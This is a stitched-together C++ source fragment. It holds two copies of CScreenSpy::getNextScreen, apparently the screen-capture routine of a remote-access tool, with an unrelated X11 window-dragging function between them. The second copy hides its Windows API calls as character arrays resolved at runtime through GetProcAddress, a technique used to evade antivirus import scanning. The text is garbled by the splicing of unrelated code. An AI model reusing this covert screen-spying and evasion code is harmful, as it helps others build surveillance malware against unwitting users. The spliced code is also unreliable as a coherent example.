LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
static LONG nOldCursorPosY = 0;
if (lpdwBytes == NULL || m_rectBuffer == NULL)
return NULL;
SelectInputWinStation();
// 重置rect缓冲区指针
m_rectBufferOffset = 0;
// 写入使用了哪种算法
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// 写入光标位置
POINT CursorPos;
GetCursorPos(&CursorPos);
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// 写入当前光标类型
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// 差异比较算法
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// 分段扫描全屏幕
ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
*lpdwBytes = m_rectBufferOffset +
Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
return m_rectBuffer;
}
// 鼠标位置发变化并且热点区域如果发生变化，以(发生变化的行 + DEF_STEP)向下扫描
// 向上提
int nHotspot = max(0, CursorPos.y - DEF_STEP);
for (
int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
i < m_nFullHeight;
i += DEF_STEP
)
{
if (ScanChangedRect(i))
{
i += DEF_STEP;
}
}
nOldCursorPosY = CursorPos.y;
m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
*lpdwBytes = m_rectBufferOffset;
// 限制发送帧的速度
while (GetTickCount() - m_dwLastCapture < m_dwSleep)
Sleep(10);
InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
return m_rectBuffer;
}
void StartDragging(UltimateContext *uc,unsigned int x,unsigned int y)
{
xofs=x;
yofs=y;
xstart=uc->Attr.x;
ystart=uc->Attr.y;
if (uc->frame==None) return;
GrabPointer(uc->frame, PointerMotionMask | PointerMotionHintMask
| ButtonPressMask | ButtonReleaseMask, TheScreen.Mice[C_DRAG]);
InstallMoveHandle();
if(settings.global_settings->SnapDistance) movewins = ScanScreen(uc);
RubberMove = (settings.global_settings->BehaviourFlags & RubberMove)
? True : False;
if(settings.global_settings->OpaqueMoveSize
&& ((uc->Attr.width * uc->Attr.height)
> settings.global_settings->OpaqueMoveSize)) RubberMove = True;
Risen = False;
Rise = False;
if(RubberMove) {
StartRubber(uc->Attr.x, uc->Attr.y, uc->Attr.width, uc->Attr.height,
uc->BorderWidth);
}
}
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
static LONG nOldCursorPosY = 0;
if (lpdwBytes == NULL || m_rectBuffer == NULL)
return NULL;
SelectInputWinStation();
// 重置rect缓冲区指针
m_rectBufferOffset = 0;
// 写入使用了哪种算法
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// 写入光标位置
POINT CursorPos;
char CtxPW58[] = {'G','e','t','C','u','r','s','o','r','P','o','s','\0'};
GetCursorPosT pGetCursorPos=(GetCursorPosT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW58);
pGetCursorPos(&CursorPos);
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// 写入当前光标类型
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// 差异比较算法
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// 分段扫描全屏幕
ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
*lpdwBytes = m_rectBufferOffset +
Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
return m_rectBuffer;
}
// 鼠标位置发变化并且热点区域如果发生变化，以(发生变化的行 + DEF_STEP)向下扫描
// 向上提
int nHotspot = max(0, CursorPos.y - DEF_STEP);
for (
int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
i < m_nFullHeight;
i += DEF_STEP
)
{
if (ScanChangedRect(i))
{
i += DEF_STEP;
}
}
nOldCursorPosY = CursorPos.y;
m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
*lpdwBytes = m_rectBufferOffset;
char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'};
GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70);
// 限制发送帧的速度
char FBwWp25[] = {'S','l','e','e','p','\0'};
SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
while (pGetTickCount() - m_dwLastCapture < m_dwSleep)
pSleep(1);
char SSzlC21[] = {'I','n','t','e','r','l','o','c','k','e','d','E','x','c','h','a','n','g','e','\0'};
InterlockedExchangeT pInterlockedExchange=(InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC21);
pInterlockedExchange((LPLONG)&m_dwLastCapture, pGetTickCount());
return m_rectBuffer;
}
